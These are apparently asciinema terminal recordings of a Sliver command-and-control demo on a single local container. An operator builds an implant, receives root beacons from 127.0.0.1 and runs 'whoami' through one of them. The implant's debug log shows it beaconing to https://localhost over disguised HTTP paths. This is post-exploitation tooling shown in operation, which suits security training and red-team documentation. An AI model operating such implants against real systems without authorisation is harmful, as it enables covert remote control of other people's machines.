[24.416244, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[24.517638, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[24.618868, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[24.719696, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[24.820824, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[24.921219, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[25.024697, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[25.125472, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[25.227906, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[25.329545, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[25.431121, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[25.535746, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[25.637704, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[25.738396, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[25.839173, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[25.939818, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[26.040732, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[26.141458, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[26.242474, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[26.343401, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[26.445216, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[26.545778, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[26.646418, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[26.746909, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[26.847203, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[26.947977, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[27.052613, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[27.153745, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[27.255223, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[27.357774, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[27.458739, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[27.558862, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[27.630638, "o", "\r\u001b[2K"]
|
||||
[27.631736, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 14s\r\n"]
|
||||
[27.644499, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/MODERATE_SURFBOARD\r\n"]
|
||||
[27.644786, "o", "\r\n"]
|
||||
[27.653377, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[27.654061, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[27.656989, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[31.981685, "o", "\u001b[9D\u001b[9C\u001b[272D\u001b[0J"]
|
||||
[31.983083, "o", "\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mBeacon 4e1347cb MODERATE_SURFBOARD - 127.0.0.1:60634 (98df0494f659) - linux/amd64 - Thu, 02 May 2024 14:24:14 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[31.991032, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
|
||||
[31.991827, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[33.285128, "o", "\u001b[?25l\u001b[272D"]
|
||||
[33.287177, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[33.293558, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[33.293939, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
|
||||
[33.417804, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[33.435433, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[33.438663, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
|
||||
[33.469277, "o", "\u001b[?25l\u001b[272D"]
|
||||
[33.471496, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[33.478651, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C"]
|
||||
[33.478999, "o", "\u001b[?25h"]
|
||||
[33.561489, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[33.563865, "o", "\u001b[6n"]
|
||||
[33.570806, "o", "\u001b[1m\u001b[32muse \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[33.573643, "o", "\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
|
||||
[33.878787, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[33.89625, "o", "\u001b[272D\u001b[13C\u001b[0J\u001b[272D\r\r\n"]
|
||||
[33.898594, "o", "\u001b[0 q\r\n"]
|
||||
[33.924706, "o", "\u001b7\u001b[?25l\u001b8\u001b[0G"]
|
||||
[33.925994, "o", "\u001b[2K"]
|
||||
[33.928627, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> BEACON 1b50b27b BLOODY_PRODUCER 127.0.0.1:60624 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON 4e1347cb MODERATE_SURFBOARD 127.0.0.1:60634 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON bee527cb DIGITAL_SKIN 127.0.0.1:60610 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[35.316945, "o", "\u001b8"]
|
||||
[35.317629, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[35.321232, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m BEACON 1b50b27b BLOODY_PRODUCER 127.0.0.1:60624 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;1;36m> BEACON 4e1347cb MODERATE_SURFBOARD 127.0.0.1:60634 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON bee527cb DIGITAL_SKIN 127.0.0.1:60610 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
|
||||
[35.332932, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[35.818115, "o", "\u001b8\u001b[?25h\u001b8"]
|
||||
[35.819976, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m BEACON 4e1347cb MODERATE_SURFBOARD 127.0.0.1:60634 98df0494f659 root linux/amd64\u001b[0m\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive beacon MODERATE_SURFBOARD (4e1347cb-5544-42ad-8176-11b709ed07ed)\r\n"]
|
||||
[35.861014, "o", "\r\n"]
|
||||
[35.874314, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
|
||||
[35.874462, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
|
||||
[35.874695, "o", "\u001b[6n"]
|
||||
[35.882556, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[35.882952, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[30D\u001b[30C\u001b[272D\u001b[30C\u001b[?25h"]
|
||||
[37.049801, "o", "\u001b[?25l\u001b[272D"]
|
||||
[37.054234, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[37.081351, "o", "w\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[37.081911, "o", "\u001b[272D\u001b[1A\u001b[31D\u001b[30C\u001b[272D\u001b[31C\u001b[?25h"]
|
||||
[37.096001, "o", "\u001b[?25l\u001b[272D"]
|
||||
[37.097776, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[37.101528, "o", "wh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[37.102959, "o", "\u001b[272D\u001b[1A\u001b[32D\u001b[30C\u001b[272D\u001b[32C\u001b[?25h"]
|
||||
[37.174672, "o", "\u001b[?25l\u001b[272D"]
|
||||
[37.176441, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[37.181298, "o", "who\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[37.181574, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[33D\u001b[30C\u001b[272D\u001b[33C\u001b[?25h"]
|
||||
[37.331174, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[37.341057, "o", "whoa\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[37.343357, "o", "\u001b[272D\u001b[1A\u001b[34D\u001b[30C\u001b[272D\u001b[34C\u001b[?25h"]
|
||||
[37.442292, "o", "\u001b[?25l"]
|
||||
[37.446397, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[37.465938, "o", "whoam\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[35D\u001b[30C\u001b[272D\u001b[35C"]
|
||||
[37.466232, "o", "\u001b[?25h"]
|
||||
[37.504549, "o", "\u001b[?25l\u001b[272D"]
|
||||
[37.505447, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[37.51437, "o", "\u001b[1m\u001b[32mwhoami\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[36D\u001b[30C\u001b[272D\u001b[36C\u001b[?25h"]
|
||||
[37.796903, "o", "\u001b[36D\u001b[30C\u001b[6n"]
|
||||
[37.801267, "o", "\u001b[272D\u001b[36C\u001b[0J"]
|
||||
[37.802279, "o", "\u001b[272D\r\r\n\u001b[0 q\r\n"]
|
||||
[37.814246, "o", "Logon ID: "]
|
||||
[37.815227, "o", "root\r\n\r\n"]
|
||||
[37.832461, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
|
||||
[37.833266, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[37.837853, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
|
||||
[37.838595, "o", "\u001b[1A\u001b[30D\u001b[30C\u001b[272D\u001b[30C\u001b[?25h"]
|
||||
[40.473897, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[40.48804, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[40.489204, "o", "\u001b[272D\u001b[1A\u001b[31D\u001b[30C\u001b[272D\u001b[31C\u001b[?25h"]
|
||||
[40.606317, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[40.62038, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[32D\u001b[30C\u001b[272D\u001b[32C\u001b[?25h"]
|
||||
[40.660957, "o", "\u001b[?25l\u001b[272D"]
|
||||
[40.661265, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[40.667821, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[40.668033, "o", "\u001b[272D\u001b[1A\u001b[33D\u001b[30C\u001b[272D\u001b[33C\u001b[?25h"]
|
||||
[40.791227, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[40.799243, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[40.800036, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[34D\u001b[30C\u001b[272D\u001b[34C\u001b[?25h"]
|
||||
[40.993251, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
|
||||
[40.995587, "o", "\u001b[6n"]
|
||||
[41.000745, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[35D\u001b[30C\u001b[272D\u001b[35C\u001b[?25h"]
|
||||
[41.06113, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[41.077902, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
|
||||
[41.079305, "o", "\u001b[36D\u001b[30C\u001b[272D\u001b[36C\u001b[?25h"]
|
||||
[41.118457, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
|
||||
[41.120423, "o", "\u001b[6n"]
|
||||
[41.126434, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[37D\u001b[30C\u001b[272D"]
|
||||
[41.127385, "o", "\u001b[37C\u001b[?25h"]
|
||||
[41.169305, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
|
||||
[41.170952, "o", "\u001b[6n"]
|
||||
[41.17744, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[38D\u001b[30C\u001b[272D"]
|
||||
[41.177934, "o", "\u001b[38C\u001b[?25h"]
|
||||
[41.262733, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
|
||||
[41.266163, "o", "\u001b[6n"]
|
||||
[41.273687, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[41.274231, "o", "\u001b[272D\u001b[1A\u001b[39D\u001b[30C\u001b[272D\u001b[39C\u001b[?25h"]
|
||||
[41.439819, "o", "\u001b[?25l\u001b[272D"]
|
||||
[41.450008, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
|
||||
[41.460762, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[41.461094, "o", "\u001b[272D\u001b[1A\u001b[40D\u001b[30C\u001b[272D\u001b[40C\u001b[?25h"]
|
||||
[42.113141, "o", "\u001b[40D\u001b[30C\u001b[6n"]
|
||||
[42.131751, "o", "\u001b[272D\u001b[40C\u001b[0J\u001b[272D\r\r\n"]
|
||||
[42.132295, "o", "\u001b[0 q\r\n"]
|
||||
[42.160131, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
|
||||
[42.171577, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[42.172151, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[42.177026, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
|
||||
[42.178208, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[42.564114, "o", "\u001b[?25l"]
|
||||
[42.567051, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[42.576669, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
|
||||
[42.577649, "o", "\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
|
||||
[42.775806, "o", "\u001b[?25l"]
|
||||
[42.780983, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[42.788863, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[42.792037, "o", "\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
|
||||
[42.932546, "o", "\u001b[?25l"]
|
||||
[42.934873, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[42.940362, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
|
||||
[42.940862, "o", "\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
|
||||
[43.072372, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[43.080373, "o", "\u001b[6n"]
|
||||
[43.095139, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D"]
|
||||
[43.095323, "o", "\u001b[13C\u001b[?25h"]
|
||||
[43.314122, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[43.318756, "o", "\u001b[272D\u001b[13C\u001b[0J\u001b[272D\r\r\n"]
|
||||
[43.320795, "o", "\u001b[0 q\r\n"]
|
||||
[43.335732, "o", "Exiting...\r\n"]
|
||||
[43.371863, "o", "# "]
|
||||
[44.165801, "o", "\r\n"]
|
||||
@@ -0,0 +1,43 @@
|
||||
{"version": 2, "width": 272, "height": 61, "timestamp": 1714660090, "env": {"SHELL": null, "TERM": "xterm"}}
|
||||
[0.033058, "o", "# "]
|
||||
[5.520586, "o", "/root/MODERATE_SURFBOARD"]
|
||||
[6.245898, "o", "\r\n"]
|
||||
[6.397188, "o", "2024/05/02 14:28:16 sliver.go:92: Hello my name is MODERATE_SURFBOARD\r\n"]
|
||||
[6.397997, "o", "2024/05/02 14:28:16 limits.go:58: Limit checks completed\r\n2024/05/02 14:28:16 sliver.go:109: Running in Beacon mode with ID: 7cb11e89-2186-4e68-a09e-afe1872ae461\r\n2024/05/02 14:28:16 beacon.go:101: Starting beacon loop ...\r\n2024/05/02 14:28:16 transports.go:41: Starting c2 url generator () ...\r\n"]
|
||||
[6.399539, "o", "2024/05/02 14:28:16 transports.go:104: Return generator: (chan *url.URL)(0xc0000d8600)\r\n"]
|
||||
[6.401176, "o", "2024/05/02 14:28:16 beacon.go:117: Recv from c2 generator ...\r\n"]
|
||||
[6.402627, "o", "2024/05/02 14:28:16 transports.go:92: Yield c2 uri = 'https://localhost'\r\n"]
|
||||
[6.403338, "o", "2024/05/02 14:28:16 transports.go:92: Yield c2 uri = 'https://localhost'\r\n"]
|
||||
[6.404033, "o", "2024/05/02 14:28:16 beacon.go:121: Next CC = https://localhost\r\n2024/05/02 14:28:16 beacon.go:167: Beaconing -> https://localhost\r\n"]
|
||||
[6.405383, "o", "2024/05/02 14:28:16 beacon.go:121: Next CC = https://localhost\r\n2024/05/02 14:28:16 beacon.go:167: Beaconing -> https://localhost\r\n"]
|
||||
[6.40654, "o", "2024/05/02 14:28:16 transports.go:92: Yield c2 uri = 'https://localhost'\r\n"]
|
||||
[6.407194, "o", "2024/05/02 14:28:16 sliver.go:118: Next beacon = &{0xa0db40 0xa123e0 0xa0da20 0xa0da80 0xa12400 0xa0d9c0 https://localhost }\r\n"]
|
||||
[6.43392, "o", "2024/05/02 14:28:16 httpclient.go:873: [http] segments = [rails log], filename = 422, ext = erb\r\n"]
|
||||
[6.436322, "o", "2024/05/02 14:28:16 httpclient.go:354: [http] POST -> https://localhost/rails/log/422.cgi?j=1931v04942015 (266 bytes)\r\n"]
|
||||
[6.463922, "o", "2024/05/02 14:28:16 httpclient.go:360: [http] http response error: Post \"https://localhost/rails/log/422.cgi?j=1931v04942015\": dial tcp 127.0.0.1:443: connect: connection refused\r\n"]
|
||||
[6.472938, "o", "2024/05/02 14:28:16 httpclient.go:873: [http] segments = [vendor rails stylesheets], filename = jquery, ext = erb\r\n"]
|
||||
[6.473208, "o", "2024/05/02 14:28:16 httpclient.go:354: [http] POST -> http://localhost/vendor/rails/stylesheets/jquery.cgi?j=u339121544924 (266 bytes)\r\n"]
|
||||
[6.57564, "o", "2024/05/02 14:28:17 httpclient.go:403: [http] New session id: 70f17317dfc0a6ede97cc068544a22c6\r\n"]
|
||||
[6.57626, "o", "2024/05/02 14:28:17 sliver.go:171: Registering beacon with server\r\n"]
|
||||
[6.576727, "o", "2024/05/02 14:28:17 beacon.go:85: Interval: 60000000000 Jitter: 30000000000\r\n"]
|
||||
[6.577308, "o", "2024/05/02 14:28:17 beacon.go:93: Duration: 1m22.112596514s\r\n"]
|
||||
[6.579126, "o", "2024/05/02 14:28:17 uuid.go:44: Generating host UUID from hardware addresses ...\r\n"]
|
||||
[6.581858, "o", "2024/05/02 14:28:17 sliver.go:582: Host Uuid: 3424b72e-e104-e99b-e183-dc60a7b751a0\r\n"]
|
||||
[6.582597, "o", "2024/05/02 14:28:17 beacon.go:85: Interval: 60000000000 Jitter: 30000000000\r\n"]
|
||||
[6.582843, "o", "2024/05/02 14:28:17 beacon.go:93: Duration: 1m7.519559765s\r\n"]
|
||||
[6.59287, "o", "2024/05/02 14:28:17 httpclient.go:873: [http] segments = [vendor stylesheets rails], filename = jquery, ext = erb\r\n"]
|
||||
[6.599451, "o", "2024/05/02 14:28:17 httpclient.go:498: [http] POST -> http://localhost/vendor/stylesheets/rails/jquery.erb?s=434x5691074e28 (302 bytes)\r\n"]
|
||||
[6.661566, "o", "2024/05/02 14:28:17 httpclient.go:504: [http] POST request completed\r\n"]
|
||||
[7.668978, "o", "2024/05/02 14:28:18 beacon.go:85: Interval: 60000000000 Jitter: 30000000000\r\n"]
|
||||
[7.681551, "o", "2024/05/02 14:28:18 beacon.go:93: Duration: 1m24.64544484s\r\n2024/05/02 14:28:18 sliver.go:241: [beacon] sending check in ...\r\n2024/05/02 14:28:18 beacon.go:85: Interval: 60000000000 Jitter: 30000000000\r\n2024/05/02 14:28:18 beacon.go:93: Duration: 1m25.407017746s\r\n"]
|
||||
[7.695718, "o", "2024/05/02 14:28:18 sliver.go:212: [beacon] sleep until 2024-05-02 14:29:42.825056298 +0000 UTC m=+86.004925590\r\n"]
|
||||
[7.700968, "o", "2024/05/02 14:28:18 httpclient.go:873: [http] segments = [vendor log log], filename = jquery, ext = erb\r\n"]
|
||||
[7.701908, "o", "2024/05/02 14:28:18 httpclient.go:498: [http] POST -> http://localhost/vendor/log/log/jquery.erb?v=52y9404190832 (100 bytes)\r\n"]
|
||||
[7.778664, "o", "2024/05/02 14:28:18 httpclient.go:504: [http] POST request completed\r\n2024/05/02 14:28:18 sliver.go:254: [beacon] recv task(s) ...\r\n"]
|
||||
[7.778861, "o", "2024/05/02 14:28:18 httpclient.go:873: [http] segments = [vendor vendor stylesheets vendor], filename = sidekiq, ext = rdoc\r\n"]
|
||||
[7.779721, "o", "2024/05/02 14:28:18 httpclient.go:421: [http] GET -> http://localhost/vendor/vendor/stylesheets/vendor/sidekiq.rdoc?p=352795839974\r\n"]
|
||||
[7.82062, "o", "2024/05/02 14:28:18 httpclient.go:304: Cancelling poll context\r\n"]
|
||||
[7.824031, "o", "2024/05/02 14:28:18 sliver.go:279: [beacon] received 0 task(s) from server\r\n2024/05/02 14:28:18 sliver.go:235: [beacon] closing ...\r\n"]
|
||||
[11.707654, "o", "^C"]
|
||||
[11.739123, "o", "\r\n# "]
|
||||
[12.871622, "o", "\r\n"]
|
||||
@@ -0,0 +1,254 @@
|
||||
{"version": 2, "width": 107, "height": 52, "timestamp": 1714578018, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.137029, "o", "\u001b[?2004h"]
|
||||
[0.145121, "o", "root@98df0494f659:~# "]
|
||||
[0.385004, "o", "."]
|
||||
[0.451485, "o", "/"]
|
||||
[0.634333, "o", "s"]
|
||||
[0.740583, "o", "l"]
|
||||
[0.82046, "o", "i"]
|
||||
[0.864396, "o", "v"]
|
||||
[0.984357, "o", "e"]
|
||||
[1.071525, "o", "r"]
|
||||
[1.201247, "o", "-"]
|
||||
[1.303713, "o", "s"]
|
||||
[1.362719, "o", "e"]
|
||||
[1.410026, "o", "r"]
|
||||
[1.617065, "o", "v"]
|
||||
[1.703823, "o", "e"]
|
||||
[1.805676, "o", "r"]
|
||||
[1.863145, "o", "\r\n"]
|
||||
[1.871716, "o", "\u001b[?2004l\r"]
|
||||
[2.944371, "o", "\u001b[35m\r\r\n ****@@ @@**** \r\r\n @@@@@@***@ @***@@@@@@ \r\r\n @%%@@@%%#***@ @***#%%@@@%%@ \r\r\n %%%%%##%%%%****@ @****%%%%##%%%%% \r\r\n %%%%#####%%%%#*###@ @#####%%%%#####%%%% \r\r\n @%%%*@#####%%%%@####@ @####@%%%%#####@#%%%@ \r\r\n %%%+@**#####%%%%#####@ @#####%%%%#####**@+%%%@ \r\r\n #%%=+*+**###%#%%%###### ######%%%%%###**+*+=%%% \r\r\n %#%===++@*####%@@@@###### ######@@@@%####*@++===%%% \r\r\n @#@--===+**%%%@@@@@@#####%% %%#####@@@@@@%%#**+===--@#@ \r\r\n #@----%=+*%%%%@@@%%%"]
|
||||
